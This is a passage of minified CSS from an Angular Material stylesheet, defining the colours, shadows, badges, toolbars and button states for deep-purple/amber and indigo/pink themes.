.mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#000000de}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#0006}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#000000de}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#000;opacity:.4}.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#000;opacity:.12}.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeppurple-amber-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeppurple-amber-theme .mat-toolbar{background:whitesmoke;color:#000000de}.deeppurple-amber-theme .mat-toolbar.mat-primary{background:#673ab7;color:#fff}.deeppurple-amber-theme .mat-toolbar.mat-accent{background:#ffa000;color:#000000de}.deeppurple-amber-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.deeppurple-amber-theme .mat-toolbar .mat-form-field-underline,.deeppurple-amber-theme .mat-toolbar .mat-form-field-ripple,.deeppurple-amber-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.deeppurple-amber-theme .mat-toolbar .mat-form-field-label,.deeppurple-amber-theme .mat-toolbar .mat-focused .mat-form-field-label,.deeppurple-amber-theme .mat-toolbar .mat-select-value,.deeppurple-amber-theme .mat-toolbar .mat-select-arrow,.deeppurple-amber-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.deeppurple-amber-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.mat-toolbar-multiple-rows{min-height:64px}.mat-toolbar-row,.mat-toolbar-single-row{height:64px}@media (max-width: 599px){.mat-toolbar-multiple-rows{min-height:56px}.mat-toolbar-row,.mat-toolbar-single-row{height:56px}}.deeppurple-amber-theme .mat-tooltip{background:rgba(97,97,97,.9)}.deeppurple-amber-theme .mat-tree{background:white}.deeppurple-amber-theme .mat-tree-node,.deeppurple-amber-theme .mat-nested-tree-node{color:#000000de}.mat-tree-node{min-height:48px}.deeppurple-amber-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeppurple-amber-theme .mat-simple-snackbar-action{color:#ffa000}.deeppurple-amber-theme a:link,.deeppurple-amber-theme a:visited{color:#ffb300;text-decoration:none}.deeppurple-amber-theme a:hover,.deeppurple-amber-theme a:focus,.deeppurple-amber-theme a:active{text-decoration:underline}.deeppurple-amber-theme a{outline:none}.deeppurple-amber-theme .confirmation{color:#ffa000}.deeppurple-amber-theme .ribbon:before{border:5px solid #ffa000}.deeppurple-amber-theme .ribbon span{background-color:#ffa000}.deeppurple-amber-theme .error{color:#f44336}.deeppurple-amber-theme .ribbon-sold:before{border:5px solid #f44336}.deeppurple-amber-theme .ribbon-sold span{background-color:#f44336}.deeppurple-amber-theme .primary-notification{background-color:#512da8}.deeppurple-amber-theme .accent-notification{background-color:#ff8f00}.deeppurple-amber-theme .warn-notification{background-color:#d32f2f}.deeppurple-amber-theme .img-thumbnail{background-color:#673ab70d;border:1px solid #673ab7;border-radius:3px;padding:3px}.deeppurple-amber-theme .empty-star{stop-color:#673ab7}.deeppurple-amber-theme .filled-star{stop-color:#ffa000}.deeppurple-amber-theme .star-border{stroke:#ffa000}.deeppurple-amber-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.deeppurple-amber-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.deeppurple-amber-theme .mat-snack-bar-container.confirmBar{color:#ffa000!important}.deeppurple-amber-theme .google-button{background-color:#ff8f00!important}.deeppurple-amber-theme .deluxe-membership{background:linear-gradient(90deg,#673ab7 0%,white 100%)}.deeppurple-amber-theme .overlay{background:rgba(81,45,168,.7)}.indigo-pink-theme{--theme-primary: #3f51b5;--theme-primary-lighter: #5062c2;--theme-primary-light: #606fc7;--theme-primary-darker: #37479e;--theme-primary-dark: #32408f;--theme-primary-fade-10: rgba(63, 81, 181, .9);--theme-primary-fade-20: rgba(63, 81, 181, .8);--theme-primary-fade-30: rgba(63, 81, 181, .7);--theme-primary-fade-40: rgba(63, 81, 181, .6);--theme-primary-fade-50: rgba(63, 81, 181, .5);--theme-accent: #ff4081;--theme-accent-lighter: #ff5f95;--theme-accent-light: #ff73a3;--theme-accent-darker: #ff216d;--theme-accent-dark: #ff0d5f;--theme-accent-fade-10: rgba(255, 64, 129, .9);--theme-accent-fade-20: rgba(255, 64, 129, .8);--theme-accent-fade-30: rgba(255, 64, 129, .7);--theme-accent-fade-40: rgba(255, 64, 129, .6);--theme-accent-fade-50: rgba(255, 64, 129, .5);--theme-warn: #f44336;--theme-warn-lighter: #f65e53;--theme-warn-light: #f77066;--theme-warn-darker: #f22819;--theme-warn-dark: #ea1c0d;--theme-warn-fade-10: rgba(244, 67, 54, .9);--theme-warn-fade-20: rgba(244, 67, 54, .8);--theme-warn-fade-30: rgba(244, 67, 54, .7);--theme-warn-fade-40: rgba(244, 67, 54, .6);--theme-warn-fade-50: rgba(244, 67, 54, .5);--theme-text: rgba(0, 0, 0, .87);--theme-text-lighter: rgba(15, 15, 15, .87);--theme-text-light: rgba(26, 26, 26, .87);--theme-text-darker: rgba(0, 0, 0, .87);--theme-text-dark: rgba(0, 0, 0, .87);--theme-text-fade-10: rgba(0, 0, 0, .77);--theme-text-fade-20: rgba(0, 0, 0, .67);--theme-text-fade-30: rgba(0, 0, 0, .57);--theme-text-fade-40: rgba(0, 0, 0, .47);--theme-text-fade-50: rgba(0, 0, 0, .37);--theme-text-invert-15: rgba(38, 38, 38, .87);--theme-text-invert-30: rgba(77, 77, 77, .87);--theme-background: white;--theme-background-lighter: white;--theme-background-light: white;--theme-background-darker: #f0f0f0;--theme-background-dark: #e6e6e6;--theme-background-darkest: #dbdbdb}.indigo-pink-theme .mat-ripple-element{background-color:#0000001a}.indigo-pink-theme .mat-option{color:#000000de}.indigo-pink-theme .mat-option:hover:not(.mat-option-disabled),.indigo-pink-theme .mat-option:focus:not(.mat-option-disabled){background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-option.mat-selected:not(.mat-option-multiple):not(.mat-option-disabled){background:rgba(0,0,0,.04)}.indigo-pink-theme .mat-option.mat-active{background:rgba(0,0,0,.04);color:#000000de}.indigo-pink-theme .mat-option.mat-option-disabled{color:#00000061}.indigo-pink-theme .mat-primary .mat-option.mat-selected:not(.mat-option-disabled){color:#3f51b5}.indigo-pink-theme .mat-accent .mat-option.mat-selected:not(.mat-option-disabled){color:#ff4081}.indigo-pink-theme .mat-warn .mat-option.mat-selected:not(.mat-option-disabled){color:#f44336}.indigo-pink-theme .mat-optgroup-label{color:#0000008a}.indigo-pink-theme .mat-optgroup-disabled .mat-optgroup-label{color:#00000061}.indigo-pink-theme .mat-pseudo-checkbox{color:#0000008a}.indigo-pink-theme .mat-pseudo-checkbox:after{color:#fafafa}.indigo-pink-theme .mat-pseudo-checkbox-disabled{color:#b0b0b0}.indigo-pink-theme .mat-primary .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-primary .mat-pseudo-checkbox-indeterminate{background:#3f51b5}.indigo-pink-theme .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-pseudo-checkbox-indeterminate,.indigo-pink-theme .mat-accent .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-accent .mat-pseudo-checkbox-indeterminate{background:#ff4081}.indigo-pink-theme .mat-warn .mat-pseudo-checkbox-checked,.indigo-pink-theme .mat-warn .mat-pseudo-checkbox-indeterminate{background:#f44336}.indigo-pink-theme .mat-pseudo-checkbox-checked.mat-pseudo-checkbox-disabled,.indigo-pink-theme .mat-pseudo-checkbox-indeterminate.mat-pseudo-checkbox-disabled{background:#b0b0b0}.indigo-pink-theme .mat-app-background,.indigo-pink-theme.mat-app-background{background-color:#fafafa;color:#000000de}.indigo-pink-theme .mat-elevation-z0{box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.indigo-pink-theme .mat-elevation-z1{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.indigo-pink-theme .mat-elevation-z2{box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.indigo-pink-theme .mat-elevation-z3{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.indigo-pink-theme .mat-elevation-z4{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-elevation-z5{box-shadow:0 3px 5px -1px #0003,0 5px 8px #00000024,0 1px 14px #0000001f}.indigo-pink-theme .mat-elevation-z6{box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.indigo-pink-theme .mat-elevation-z7{box-shadow:0 4px 5px -2px #0003,0 7px 10px 1px #00000024,0 2px 16px 1px #0000001f}.indigo-pink-theme .mat-elevation-z8{box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.indigo-pink-theme .mat-elevation-z9{box-shadow:0 5px 6px -3px #0003,0 9px 12px 1px #00000024,0 3px 16px 2px #0000001f}.indigo-pink-theme .mat-elevation-z10{box-shadow:0 6px 6px -3px #0003,0 10px 14px 1px #00000024,0 4px 18px 3px #0000001f}.indigo-pink-theme .mat-elevation-z11{box-shadow:0 6px 7px -4px #0003,0 11px 15px 1px #00000024,0 4px 20px 3px #0000001f}.indigo-pink-theme .mat-elevation-z12{box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.indigo-pink-theme .mat-elevation-z13{box-shadow:0 7px 8px -4px #0003,0 13px 19px 2px #00000024,0 5px 24px 4px #0000001f}.indigo-pink-theme .mat-elevation-z14{box-shadow:0 7px 9px -4px #0003,0 14px 21px 2px #00000024,0 5px 26px 4px #0000001f}.indigo-pink-theme .mat-elevation-z15{box-shadow:0 8px 9px -5px #0003,0 15px 22px 2px #00000024,0 6px 28px 5px #0000001f}.indigo-pink-theme .mat-elevation-z16{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.indigo-pink-theme .mat-elevation-z17{box-shadow:0 8px 11px -5px #0003,0 17px 26px 2px #00000024,0 6px 32px 5px #0000001f}.indigo-pink-theme .mat-elevation-z18{box-shadow:0 9px 11px -5px #0003,0 18px 28px 2px #00000024,0 7px 34px 6px #0000001f}.indigo-pink-theme .mat-elevation-z19{box-shadow:0 9px 12px -6px #0003,0 19px 29px 2px #00000024,0 7px 36px 6px #0000001f}.indigo-pink-theme .mat-elevation-z20{box-shadow:0 10px 13px -6px #0003,0 20px 31px 3px #00000024,0 8px 38px 7px #0000001f}.indigo-pink-theme .mat-elevation-z21{box-shadow:0 10px 13px -6px #0003,0 21px 33px 3px #00000024,0 8px 40px 7px #0000001f}.indigo-pink-theme .mat-elevation-z22{box-shadow:0 10px 14px -6px #0003,0 22px 35px 3px #00000024,0 8px 42px 7px #0000001f}.indigo-pink-theme .mat-elevation-z23{box-shadow:0 11px 14px -7px #0003,0 23px 36px 3px #00000024,0 9px 44px 8px #0000001f}.indigo-pink-theme .mat-elevation-z24{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.indigo-pink-theme .mat-autocomplete-panel{background:white;color:#000000de}.indigo-pink-theme .mat-autocomplete-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.indigo-pink-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover){background:white}.indigo-pink-theme .mat-autocomplete-panel .mat-option.mat-selected:not(.mat-active):not(:hover):not(.mat-option-disabled){color:#000000de}.indigo-pink-theme .mat-badge{position:relative}.indigo-pink-theme .mat-badge.mat-badge{overflow:visible}.indigo-pink-theme .mat-badge-hidden .mat-badge-content{display:none}.indigo-pink-theme .mat-badge-content{position:absolute;text-align:center;display:inline-block;border-radius:50%;transition:transform .2s ease-in-out;transform:scale(.6);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}.indigo-pink-theme .ng-animate-disabled .mat-badge-content,.indigo-pink-theme .mat-badge-content._mat-animation-noopable{transition:none}.indigo-pink-theme .mat-badge-content.mat-badge-active{transform:none}.indigo-pink-theme .mat-badge-small .mat-badge-content{width:16px;height:16px;line-height:16px}.indigo-pink-theme .mat-badge-small.mat-badge-above .mat-badge-content{top:-8px}.indigo-pink-theme .mat-badge-small.mat-badge-below .mat-badge-content{bottom:-8px}.indigo-pink-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:-16px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-before .mat-badge-content{left:auto;right:-16px}.indigo-pink-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:-16px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-after .mat-badge-content{right:auto;left:-16px}.indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-8px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-8px}.indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-8px}[dir=rtl] .indigo-pink-theme .mat-badge-small.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-8px}.indigo-pink-theme .mat-badge-medium .mat-badge-content{width:22px;height:22px;line-height:22px}.indigo-pink-theme .mat-badge-medium.mat-badge-above .mat-badge-content{top:-11px}.indigo-pink-theme .mat-badge-medium.mat-badge-below .mat-badge-content{bottom:-11px}.indigo-pink-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:-22px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-before .mat-badge-content{left:auto;right:-22px}.indigo-pink-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:-22px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-after .mat-badge-content{right:auto;left:-22px}.indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-11px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-11px}.indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-11px}[dir=rtl] .indigo-pink-theme .mat-badge-medium.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-11px}.indigo-pink-theme .mat-badge-large .mat-badge-content{width:28px;height:28px;line-height:28px}.indigo-pink-theme .mat-badge-large.mat-badge-above .mat-badge-content{top:-14px}.indigo-pink-theme .mat-badge-large.mat-badge-below .mat-badge-content{bottom:-14px}.indigo-pink-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:-28px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-before .mat-badge-content{left:auto;right:-28px}.indigo-pink-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:-28px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-after .mat-badge-content{right:auto;left:-28px}.indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:-14px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-before .mat-badge-content{left:auto;right:-14px}.indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:-14px}[dir=rtl] .indigo-pink-theme .mat-badge-large.mat-badge-overlap.mat-badge-after .mat-badge-content{right:auto;left:-14px}.indigo-pink-theme .mat-badge-content{color:#fff;background:#3f51b5}.cdk-high-contrast-active .indigo-pink-theme .mat-badge-content{outline:solid 1px;border-radius:0}.indigo-pink-theme .mat-badge-accent .mat-badge-content{background:#ff4081;color:#fff}.indigo-pink-theme .mat-badge-warn .mat-badge-content{color:#fff;background:#f44336}.indigo-pink-theme .mat-badge-disabled .mat-badge-content{background:#b9b9b9;color:#00000061}.indigo-pink-theme .mat-bottom-sheet-container{box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f;background:white;color:#000000de}.indigo-pink-theme .mat-button,.indigo-pink-theme .mat-icon-button,.indigo-pink-theme .mat-stroked-button{color:inherit;background:transparent}.indigo-pink-theme .mat-button.mat-primary,.indigo-pink-theme .mat-icon-button.mat-primary,.indigo-pink-theme .mat-stroked-button.mat-primary{color:#3f51b5}.indigo-pink-theme .mat-button.mat-accent,.indigo-pink-theme .mat-icon-button.mat-accent,.indigo-pink-theme .mat-stroked-button.mat-accent{color:#ff4081}.indigo-pink-theme .mat-button.mat-warn,.indigo-pink-theme .mat-icon-button.mat-warn,.indigo-pink-theme .mat-stroked-button.mat-warn{color:#f44336}.indigo-pink-theme .mat-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-icon-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-stroked-button.mat-button-disabled.mat-button-disabled{color:#00000042}.indigo-pink-theme .mat-button.mat-primary .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-primary .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-primary .mat-button-focus-overlay{background-color:#3f51b5}.indigo-pink-theme .mat-button.mat-accent .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-accent .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-accent .mat-button-focus-overlay{background-color:#ff4081}.indigo-pink-theme .mat-button.mat-warn .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-warn .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-warn .mat-button-focus-overlay{background-color:#f44336}.indigo-pink-theme .mat-button.mat-button-disabled .mat-button-focus-overlay,.indigo-pink-theme .mat-icon-button.mat-button-disabled .mat-button-focus-overlay,.indigo-pink-theme .mat-stroked-button.mat-button-disabled .mat-button-focus-overlay{background-color:transparent}.indigo-pink-theme .mat-button .mat-ripple-element,.indigo-pink-theme .mat-icon-button .mat-ripple-element,.indigo-pink-theme .mat-stroked-button .mat-ripple-element{opacity:.1;background-color:currentColor}.indigo-pink-theme .mat-button-focus-overlay{background:black}.indigo-pink-theme .mat-stroked-button:not(.mat-button-disabled){border-color:#0000001f}.indigo-pink-theme .mat-flat-button,.indigo-pink-theme .mat-raised-button,.indigo-pink-theme .mat-fab,.indigo-pink-theme .mat-mini-fab{color:#000000de;background-color:#fff}.indigo-pink-theme .mat-flat-button.mat-primary,.indigo-pink-theme .mat-raised-button.mat-primary,.indigo-pink-theme .mat-fab.mat-primary,.indigo-pink-theme .mat-mini-fab.mat-primary,.indigo-pink-theme .mat-flat-button.mat-accent,.indigo-pink-theme .mat-raised-button.mat-accent,.indigo-pink-theme .mat-fab.mat-accent,.indigo-pink-theme .mat-mini-fab.mat-accent,.indigo-pink-theme .mat-flat-button.mat-warn,.indigo-pink-theme .mat-raised-button.mat-warn,.indigo-pink-theme .mat-fab.mat-warn,.indigo-pink-theme .mat-mini-fab.mat-warn{color:#fff}.indigo-pink-theme .mat-flat-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{color:#00000042}.indigo-pink-theme .mat-flat-button.mat-primary,.indigo-pink-theme .mat-raised-button.mat-primary,.indigo-pink-theme .mat-fab.mat-primary,.indigo-pink-theme .mat-mini-fab.mat-primary{background-color:#3f51b5}.indigo-pink-theme .mat-flat-button.mat-accent,.indigo-pink-theme .mat-raised-button.mat-accent,.indigo-pink-theme .mat-fab.mat-accent,.indigo-pink-theme .mat-mini-fab.mat-accent{background-color:#ff4081}.indigo-pink-theme .mat-flat-button.mat-warn,.indigo-pink-theme .mat-raised-button.mat-warn,.indigo-pink-theme .mat-fab.mat-warn,.indigo-pink-theme .mat-mini-fab.mat-warn{background-color:#f44336}.indigo-pink-theme .mat-flat-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-flat-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-fab.mat-button-disabled.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-primary.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-accent.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-warn.mat-button-disabled,.indigo-pink-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#0000001f}.indigo-pink-theme .mat-flat-button.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-raised-button.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-fab.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-mini-fab.mat-primary .mat-ripple-element,.indigo-pink-theme .mat-flat-button.mat-accent 